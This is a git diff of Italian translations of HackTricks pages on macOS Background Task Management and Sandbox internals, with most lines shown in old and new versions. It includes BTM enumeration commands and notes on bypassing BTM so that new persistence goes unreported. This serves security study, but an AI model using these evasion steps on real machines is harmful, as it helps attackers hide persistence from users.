Il modo in cui **`backgroundtaskmanagementd`** sa che qualcosa è installato in una cartella persistente è **ottenendo gli FSEvents** e creando alcuni **handler** per questi.
Il modo in cui **`backgroundtaskmanagementd`** sa che qualcosa è installato in una cartella persistente è **ottenendo gli FSEvents** e creando alcuni **handler** per quelli.
Inoltre, c'è un file plist che contiene **applicazioni ben note** che persistono frequentemente mantenuto da Apple situato in: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
```json
@ -98,7 +102,7 @@ Inoltre, c'è un file plist che contiene **applicazioni ben note** che persiston
```
### Enumerazione
È possibile **enumerare tutti** gli elementi di background configurati eseguendo lo strumento cli di Apple:
È possibile **enumerare tutti** gli elementi di background configurati utilizzando lo strumento cli di Apple:
```bash
# The tool will always ask for the users password
sfltool dumpbtm
@ -112,9 +116,9 @@ xattr -rc dumpBTM # Remove quarantine attr
```
Queste informazioni vengono memorizzate in **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** e il Terminale necessita di FDA.
### Manipolare BTM
### Manipolazione di BTM
Quando viene trovata una nuova persistenza, si verifica un evento di tipo **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Quindi, qualsiasi modo per **prevenire** che questo **evento** venga inviato o che **l'agente avvisi** l'utente aiuterà un attaccante a _**bypassare**_ BTM.
Quando viene trovata una nuova persistenza, si verifica un evento di tipo **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Quindi, qualsiasi modo per **prevenire** che questo **evento** venga inviato o che l'**agente avvisi** l'utente aiuterà un attaccante a _**bypassare**_ BTM.
* **Ripristinare il database**: Eseguire il seguente comando ripristinerà il database (dovrebbe ricostruirlo da zero), tuttavia, per qualche motivo, dopo aver eseguito questo, **nessuna nuova persistenza verrà segnalata fino a quando il sistema non verrà riavviato**.
* È richiesto **root**.
@ -142,9 +146,10 @@ Riferimenti e **ulteriori informazioni su BTM**:
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -156,4 +161,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
</details>

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/grte.png" al
## Basic Information
MacOS Sandbox (inizialmente chiamato Seatbelt) **limita le applicazioni** in esecuzione all'interno della sandbox alle **azioni consentite specificate nel profilo Sandbox** con cui l'app è in esecuzione. Questo aiuta a garantire che **l'applicazione accederà solo alle risorse previste**.
MacOS Sandbox (inizialmente chiamato Seatbelt) **limita le applicazioni** che vengono eseguite all'interno della sandbox alle **azioni consentite specificate nel profilo Sandbox** con cui l'app è in esecuzione. Questo aiuta a garantire che **l'applicazione accederà solo alle risorse previste**.
Qualsiasi app con l'**entitlement** **`com.apple.security.app-sandbox`** verrà eseguita all'interno della sandbox. **I binari Apple** vengono solitamente eseguiti all'interno di una Sandbox, e tutte le applicazioni dell'**App Store hanno quell'entitlement**. Quindi diverse applicazioni verranno eseguite all'interno della sandbox.
@ -228,9 +228,9 @@ Esempi di bypass:
### Tracciamento del Sandbox
#### Tramite profilo
#### Via profilo
È possibile tracciare tutti i controlli che il sandbox esegue ogni volta che viene verificata un'azione. Per farlo, crea semplicemente il seguente profilo:
È possibile tracciare tutti i controlli che il sandbox esegue ogni volta che un'azione viene verificata. Per farlo, crea semplicemente il seguente profilo:
{% code title="trace.sb" %}
```scheme
@ -288,7 +288,7 @@ Inoltre, per confinare un processo all'interno di un contenitore, potrebbe chiam
## Debug e Bypass Sandbox
Su macOS, a differenza di iOS dove i processi sono sandboxati fin dall'inizio dal kernel, **i processi devono optare per la sandbox da soli**. Ciò significa che su macOS, un processo non è limitato dalla sandbox fino a quando non decide attivamente di entrarvi, anche se le app dell'App Store sono sempre sandboxate.
Su macOS, a differenza di iOS dove i processi sono sandboxati fin dall'inizio dal kernel, **i processi devono optare per la sandbox da soli**. Questo significa che su macOS, un processo non è limitato dalla sandbox fino a quando non decide attivamente di entrarci, anche se le app dell'App Store sono sempre sandboxate.
I processi sono automaticamente sandboxati dal userland quando iniziano se hanno il diritto: `com.apple.security.app-sandbox`. Per una spiegazione dettagliata di questo processo controlla:
@ -310,7 +310,7 @@ Le estensioni consentono di dare ulteriori privilegi a un oggetto e vengono atti
Le estensioni sono memorizzate nel secondo slot di etichetta MACF accessibile dalle credenziali del processo. Il seguente **`sbtool`** può accedere a queste informazioni.
Nota che le estensioni sono solitamente concesse dai processi autorizzati, ad esempio, `tccd` concederà il token di estensione di `com.apple.tcc.kTCCServicePhotos` quando un processo tenta di accedere alle foto ed è stato autorizzato in un messaggio XPC. Poi, il processo dovrà consumare il token di estensione affinché venga aggiunto ad esso.\
Nota che le estensioni sono solitamente concesse dai processi autorizzati, ad esempio, `tccd` concederà il token di estensione di `com.apple.tcc.kTCCServicePhotos` quando un processo tenta di accedere alle foto ed è stato autorizzato in un messaggio XPC. Poi, il processo dovrà consumare il token di estensione affinché venga aggiunto a esso.\
Nota che i token di estensione sono lunghi esadecimali che codificano i permessi concessi. Tuttavia, non hanno il PID autorizzato hardcoded, il che significa che qualsiasi processo con accesso al token potrebbe essere **consumato da più processi**.
Nota che le estensioni sono molto correlate ai diritti, quindi avere determinati diritti potrebbe automaticamente concedere determinate estensioni.
@ -355,8 +355,8 @@ La funzione `___sandbox_ms` chiama `mac_syscall` indicando nel primo argomento `
* **suspend (#10)**: Sospende temporaneamente tutti i controlli del sandbox (richiede diritti appropriati).
* **unsuspend (#11)**: Riprende tutti i controlli del sandbox precedentemente sospesi.
* **passthrough\_access (#12)**: Consente l'accesso diretto a una risorsa, bypassando i controlli del sandbox.
* **set\_container\_path (#13)**: (solo iOS) Imposta un percorso di contenitore per un gruppo di app o ID di firma.
* **container\_map (#14)**: (solo iOS) Recupera un percorso di contenitore da `containermanagerd`.
* **set\_container\_path (#13)**: (solo iOS) Imposta un percorso del contenitore per un gruppo di app o ID di firma.
* **container\_map (#14)**: (solo iOS) Recupera un percorso del contenitore da `containermanagerd`.
* **sandbox\_user\_state\_item\_buffer\_send (#15)**: (iOS 10+) Imposta i metadati in modalità utente nel sandbox.
* **inspect (#16)**: Fornisce informazioni di debug su un processo sandboxed.
* **dump (#18)**: (macOS 11) Dump del profilo attuale di un sandbox per analisi.
@ -364,9 +364,9 @@ La funzione `___sandbox_ms` chiama `mac_syscall` indicando nel primo argomento `
* **builtin\_profile\_deactivate (#20)**: (macOS < 11) Disattiva profili nominati (es. `pe_i_can_has_debugger`).
* **check\_bulk (#21)**: Esegue più operazioni `sandbox_check` in una singola chiamata.
* **reference\_retain\_by\_audit\_token (#28)**: Crea un riferimento per un token di audit da utilizzare nei controlli del sandbox.
* **reference\_release (#29)**: Rilascia un riferimento di token di audit precedentemente mantenuto.
* **reference\_release (#29)**: Rilascia un riferimento a un token di audit precedentemente mantenuto.
* **rootless\_allows\_task\_for\_pid (#30)**: Verifica se `task_for_pid` è consentito (simile ai controlli `csr`).
* **rootless\_whitelist\_push (#31)**: (macOS) Applica un file di manifest di Protezione Integrità di Sistema (SIP).
* **rootless\_whitelist\_push (#31)**: (macOS) Applica un file di manifest di System Integrity Protection (SIP).
* **rootless\_whitelist\_check (preflight) (#32)**: Controlla il file di manifest SIP prima dell'esecuzione.
* **rootless\_protected\_volume (#33)**: (macOS) Applica protezioni SIP a un disco o partizione.
* **rootless\_mkdir\_protected (#34)**: Applica protezione SIP/DataVault a un processo di creazione di directory.
@ -383,7 +383,7 @@ Nota che in iOS l'estensione del kernel contiene **tutti i profili hardcoded** a
**`Sandbox.kext`** utilizza più di un centinaio di hook tramite MACF. La maggior parte degli hook controllerà solo alcuni casi banali che consentono di eseguire l'azione, altrimenti chiameranno **`cred_sb_evalutate`** con le **credenziali** da MACF e un numero corrispondente all'**operazione** da eseguire e un **buffer** per l'output.
Un buon esempio di ciò è la funzione **`_mpo_file_check_mmap`** che ha agganciato **`mmap`** e che inizierà a controllare se la nuova memoria sarà scrivibile (e se non lo è, consentirà l'esecuzione), poi controllerà se è utilizzata per la cache condivisa dyld e, se sì, consentirà l'esecuzione, e infine chiamerà **`cred_sb_evalutate`** per eseguire ulteriori controlli di autorizzazione.
Un buon esempio di ciò è la funzione **`_mpo_file_check_mmap`** che ha agganciato **`mmap`** e che inizierà a controllare se la nuova memoria sarà scrivibile (e se non lo è, consentirà l'esecuzione), poi controllerà se è utilizzata per la cache condivisa dyld e, in tal caso, consentirà l'esecuzione, e infine chiamerà **`sb_evaluate_internal`** (o uno dei suoi wrapper) per eseguire ulteriori controlli di autorizzazione.
Inoltre, tra i centinaia di hook utilizzati dal Sandbox, ce ne sono 3 in particolare che sono molto interessanti:
@ -391,7 +391,7 @@ Inoltre, tra i centinaia di hook utilizzati dal Sandbox, ce ne sono 3 in partico
* `mpo_vnode_check_exec`: Chiamato quando un processo carica il binario associato, quindi viene eseguito un controllo del profilo e anche un controllo che vieta le esecuzioni SUID/SGID.
* `mpo_cred_label_update_execve`: Questo viene chiamato quando l'etichetta viene assegnata. Questo è il più lungo poiché viene chiamato quando il binario è completamente caricato ma non è ancora stato eseguito. Eseguirà azioni come la creazione dell'oggetto sandbox, l'attacco della struttura sandbox alle credenziali kauth, la rimozione dell'accesso alle porte mach...
Nota che **`cred_sb_evalutate`** è un wrapper su **`sb_evaluate`** e questa funzione ottiene le credenziali passate e poi esegue la valutazione utilizzando la funzione **`eval`** che di solito valuta il **profilo della piattaforma** che è per impostazione predefinita applicato a tutti i processi e poi il **profilo del processo specifico**. Nota che il profilo della piattaforma è uno dei principali componenti di **SIP** in macOS.
Nota che **`_cred_sb_evalutate`** è un wrapper su **`sb_evaluate_internal`** e questa funzione ottiene le credenziali passate e poi esegue la valutazione utilizzando la funzione **`eval`** che di solito valuta il **profilo della piattaforma** che è per impostazione predefinita applicato a tutti i processi e poi il **profilo del processo specifico**. Nota che il profilo della piattaforma è uno dei componenti principali di **SIP** in macOS.
## Sandboxd